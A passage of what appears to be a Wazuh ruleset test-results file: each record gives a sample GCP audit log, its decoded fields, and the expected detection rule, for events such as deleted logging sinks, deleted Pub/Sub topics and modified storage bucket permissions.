resource.type=\\\"pubsub_topic\\\"\",\"@type\":\"type.googleapis.com/google.monitoring.v3.ListTimeSeriesRequest\",\"name\":\"projects/wazuh-dev-258815\"},\"authenticationInfo\":{\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"769054035614\",\"permission\":\"monitoring.timeSeries.list\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"numResponseItems\":\"1\",\"methodName\":\"google.logging.v3.ConfigServiceV1.DeleteSink\",\"resourceName\":\"projects/wazuh-dev-258815\",\"serviceName\":\"monitoring.googleapis.com\"},\"receiveTimestamp\":\"2021-06-11T09:35:18.35940193Z\",\"insertId\":\"s1gmn4e7xlr1\",\"timestamp\":\"2021-06-11T09:35:18.077460268Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "s1gmn4e7xlr1", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': '769054035614', 'permission': 'monitoring.timeSeries.list', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.logging.v3.ConfigServiceV1.DeleteSink", "gcp.protoPayload.numResponseItems": "1", "gcp.protoPayload.request.filter": "metric.type=\"pubsub.googleapis.com/topic/send_message_operation_count\" AND resource.labels.project_id=\"wazuh-dev-258815\" AND resource.labels.topic_id=\"wazuh-gcloud-blog-topic\" AND resource.type=\"pubsub_topic\"", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-11T09:35:18.077583788Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815", "gcp.protoPayload.serviceName": "monitoring.googleapis.com", "gcp.receiveTimestamp": "2021-06-11T09:35:18.35940193Z", "gcp.resource.labels.method": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.service": "monitoring.googleapis.com", "gcp.resource.type": "audited_resource", "gcp.severity": "INFO", "gcp.timestamp": "2021-06-11T09:35:18.077460268Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.numResponseItems", "gcp.protoPayload.request.filter", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.method", "gcp.resource.labels.project_id", "gcp.resource.labels.service", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65057", "level": "3", "expected_decoder": "json", "expected_rule": "65057", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP logging sink deleted."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"pubsub_topic\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"topic_id\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-10T15:07:09.68842532Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"authenticationInfo\":{\"principalSubject\":\"user:javier.bejar@wazuh.com\",\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"permission\":\"pubsub.topics.attachSubscription\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"response\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"methodName\":\"google.pubsub.v1.Subscriber.DeleteSubscription\",\"resourceName\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"serviceName\":\"pubsub.googleapis.com\"},\"receiveTimestamp\":\"2021-06-10T15:07:15.879792037Z\",\"insertId\":\"jzee3lb9j\",\"timestamp\":\"2021-06-10T15:07:09.68170948Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "jzee3lb9j", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authenticationInfo.principalSubject": "user:javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': 'projects/wazuh-dev-258815/topics/threatintel-gcp', 'permission': 'pubsub.topics.attachSubscription', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.pubsub.v1.Subscriber.DeleteSubscription", "gcp.protoPayload.request.ackDeadlineSeconds": "10", "gcp.protoPayload.request.messageRetentionDuration": "604800s", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.request.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-10T15:07:09.68842532Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.response.ackDeadlineSeconds": "10", "gcp.protoPayload.response.messageRetentionDuration": "604800s", "gcp.protoPayload.response.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.response.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.serviceName": "pubsub.googleapis.com", "gcp.receiveTimestamp": "2021-06-10T15:07:15.879792037Z", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.topic_id": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.resource.type": "pubsub_topic", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-10T15:07:09.68170948Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authenticationInfo.principalSubject", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.request.ackDeadlineSeconds", "gcp.protoPayload.request.messageRetentionDuration", "gcp.protoPayload.request.name", "gcp.protoPayload.request.topic", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.response.ackDeadlineSeconds", "gcp.protoPayload.response.messageRetentionDuration", "gcp.protoPayload.response.name", "gcp.protoPayload.response.topic", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.project_id", "gcp.resource.labels.topic_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65058", "level": "3", "expected_decoder": "json", "expected_rule": "65058", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP pub/sub subscription deleted."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"pubsub_topic\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"topic_id\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-10T15:07:09.68842532Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"authenticationInfo\":{\"principalSubject\":\"user:javier.bejar@wazuh.com\",\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"permission\":\"pubsub.topics.attachSubscription\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"response\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"methodName\":\"google.pubsub.v1.Publisher.DeleteTopic\",\"resourceName\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"serviceName\":\"pubsub.googleapis.com\"},\"receiveTimestamp\":\"2021-06-10T15:07:15.879792037Z\",\"insertId\":\"jzee3lb9j\",\"timestamp\":\"2021-06-10T15:07:09.68170948Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "jzee3lb9j", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authenticationInfo.principalSubject": "user:javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': 'projects/wazuh-dev-258815/topics/threatintel-gcp', 'permission': 'pubsub.topics.attachSubscription', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.pubsub.v1.Publisher.DeleteTopic", "gcp.protoPayload.request.ackDeadlineSeconds": "10", "gcp.protoPayload.request.messageRetentionDuration": "604800s", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.request.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-10T15:07:09.68842532Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.response.ackDeadlineSeconds": "10", "gcp.protoPayload.response.messageRetentionDuration": "604800s", "gcp.protoPayload.response.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.response.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.serviceName": "pubsub.googleapis.com", "gcp.receiveTimestamp": "2021-06-10T15:07:15.879792037Z", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.topic_id": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.resource.type": "pubsub_topic", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-10T15:07:09.68170948Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authenticationInfo.principalSubject", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.request.ackDeadlineSeconds", "gcp.protoPayload.request.messageRetentionDuration", "gcp.protoPayload.request.name", "gcp.protoPayload.request.topic", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.response.ackDeadlineSeconds", "gcp.protoPayload.response.messageRetentionDuration", "gcp.protoPayload.response.name", "gcp.protoPayload.response.topic", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.project_id", "gcp.resource.labels.topic_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65059", "level": "3", "expected_decoder": "json", "expected_rule": "65059", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP pub/sub topic deleted."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"pubsub_topic\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"topic_id\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-10T15:07:09.68842532Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"authenticationInfo\":{\"principalSubject\":\"user:javier.bejar@wazuh.com\",\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"permission\":\"pubsub.topics.attachSubscription\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"response\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"methodName\":\"storage.buckets.update\",\"resourceName\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"serviceName\":\"pubsub.googleapis.com\"},\"receiveTimestamp\":\"2021-06-10T15:07:15.879792037Z\",\"insertId\":\"jzee3lb9j\",\"timestamp\":\"2021-06-10T15:07:09.68170948Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "jzee3lb9j", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authenticationInfo.principalSubject": "user:javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': 'projects/wazuh-dev-258815/topics/threatintel-gcp', 'permission': 'pubsub.topics.attachSubscription', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "storage.buckets.update", "gcp.protoPayload.request.ackDeadlineSeconds": "10", "gcp.protoPayload.request.messageRetentionDuration": "604800s", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.request.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-10T15:07:09.68842532Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.response.ackDeadlineSeconds": "10", "gcp.protoPayload.response.messageRetentionDuration": "604800s", "gcp.protoPayload.response.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.response.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.serviceName": "pubsub.googleapis.com", "gcp.receiveTimestamp": "2021-06-10T15:07:15.879792037Z", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.topic_id": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.resource.type": "pubsub_topic", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-10T15:07:09.68170948Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authenticationInfo.principalSubject", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.request.ackDeadlineSeconds", "gcp.protoPayload.request.messageRetentionDuration", "gcp.protoPayload.request.name", "gcp.protoPayload.request.topic", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.response.ackDeadlineSeconds", "gcp.protoPayload.response.messageRetentionDuration", "gcp.protoPayload.response.name", "gcp.protoPayload.response.topic", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.project_id", "gcp.resource.labels.topic_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65060", "level": "3", "expected_decoder": "json", "expected_rule": "65060", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP storage bucket configuration modified."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"pubsub_topic\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"topic_id\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-10T15:07:09.68842532Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"authenticationInfo\":{\"principalSubject\":\"user:javier.bejar@wazuh.com\",\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"permission\":\"pubsub.topics.attachSubscription\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"response\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"methodName\":\"storage.setIamPermissions\",\"resourceName\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"serviceName\":\"pubsub.googleapis.com\"},\"receiveTimestamp\":\"2021-06-10T15:07:15.879792037Z\",\"insertId\":\"jzee3lb9j\",\"timestamp\":\"2021-06-10T15:07:09.68170948Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "jzee3lb9j", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authenticationInfo.principalSubject": "user:javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': 'projects/wazuh-dev-258815/topics/threatintel-gcp', 'permission': 'pubsub.topics.attachSubscription', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "storage.setIamPermissions", "gcp.protoPayload.request.ackDeadlineSeconds": "10", "gcp.protoPayload.request.messageRetentionDuration": "604800s", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.request.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-10T15:07:09.68842532Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.response.ackDeadlineSeconds": "10", "gcp.protoPayload.response.messageRetentionDuration": "604800s", "gcp.protoPayload.response.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.response.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.serviceName": "pubsub.googleapis.com", "gcp.receiveTimestamp": "2021-06-10T15:07:15.879792037Z", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.topic_id": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.resource.type": "pubsub_topic", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-10T15:07:09.68170948Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authenticationInfo.principalSubject", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.request.ackDeadlineSeconds", "gcp.protoPayload.request.messageRetentionDuration", "gcp.protoPayload.request.name", "gcp.protoPayload.request.topic", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.response.ackDeadlineSeconds", "gcp.protoPayload.response.messageRetentionDuration", "gcp.protoPayload.response.name", "gcp.protoPayload.response.topic", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.project_id", "gcp.resource.labels.topic_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65061", "level": "3", "expected_decoder": "json", "expected_rule": "65061", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP storage bucket permissions modified."} +{"log": "{\"gcp\":{\"severity\":\"INFO\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access\",\"resource\":{\"type\":\"audited_resource\",\"labels\":{\"method\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"project_id\":\"wazuh-dev-258815\",\"service\":\"monitoring.googleapis.com\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-11T09:35:18.077583788Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"filter\":\"metric.type=\\\"pubsub.googleapis.com/topic/send_message_operation_count\\\" AND resource.labels.project_id=\\\"wazuh-dev-258815\\\" AND resource.labels.topic_id=\\\"wazuh-gcloud-blog-topic\\\" AND resource.type=\\\"pubsub_topic\\\"\",\"@type\":\"type.googleapis.com/google.monitoring.v3.ListTimeSeriesRequest\",\"name\":\"projects/wazuh-dev-258815\"},\"authenticationInfo\":{\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"769054035614\",\"permission\":\"monitoring.timeSeries.list\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"numResponseItems\":\"1\",\"methodName\":\"google.logging.v3.ConfigServiceV1.UpdateSink\",\"resourceName\":\"projects/wazuh-dev-258815\",\"serviceName\":\"monitoring.googleapis.com\"},\"receiveTimestamp\":\"2021-06-11T09:35:18.35940193Z\",\"insertId\":\"s1gmn4e7xlr1\",\"timestamp\":\"2021-06-11T09:35:18.077460268Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "s1gmn4e7xlr1", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': '769054035614', 'permission': 'monitoring.timeSeries.list', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.logging.v3.ConfigServiceV1.UpdateSink", "gcp.protoPayload.numResponseItems": "1", "gcp.protoPayload.request.filter": "metric.type=\"pubsub.googleapis.com/topic/send_message_operation_count\" AND resource.labels.project_id=\"wazuh-dev-258815\" AND resource.labels.topic_id=\"wazuh-gcloud-blog-topic\" AND resource.type=\"pubsub_topic\"", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-11T09:35:18.077583788Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815", "gcp.protoPayload.serviceName": "monitoring.googleapis.com", "gcp.receiveTimestamp": "2021-06-11T09:35:18.35940193Z", "gcp.resource.labels.method": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.service": "monitoring.googleapis.com", "gcp.resource.type": "audited_resource", "gcp.severity": "INFO", "gcp.timestamp": "2021-06-11T09:35:18.077460268Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.numResponseItems", "gcp.protoPayload.request.filter", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.method", "gcp.resource.labels.project_id", "gcp.resource.labels.service", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65062", "level": "3", "expected_decoder": "json", "expected_rule": "65062", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP logging sink modified."} +{"log": "{\"gcp\":{\"severity\":\"INFO\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access\",\"resource\":{\"type\":\"audited_resource\",\"labels\":{\"method\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"project_id\":\"wazuh-dev-258815\",\"service\":\"monitoring.googleapis.com\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-11T09:35:18.077583788Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"filter\":\"metric.type=\\\"pubsub.googleapis.com/topic/send_message_operation_count\\\" AND resource.labels.project_id=\\\"wazuh-dev-258815\\\" AND resource.labels.topic_id=\\\"wazuh-gcloud-blog-topic\\\" AND 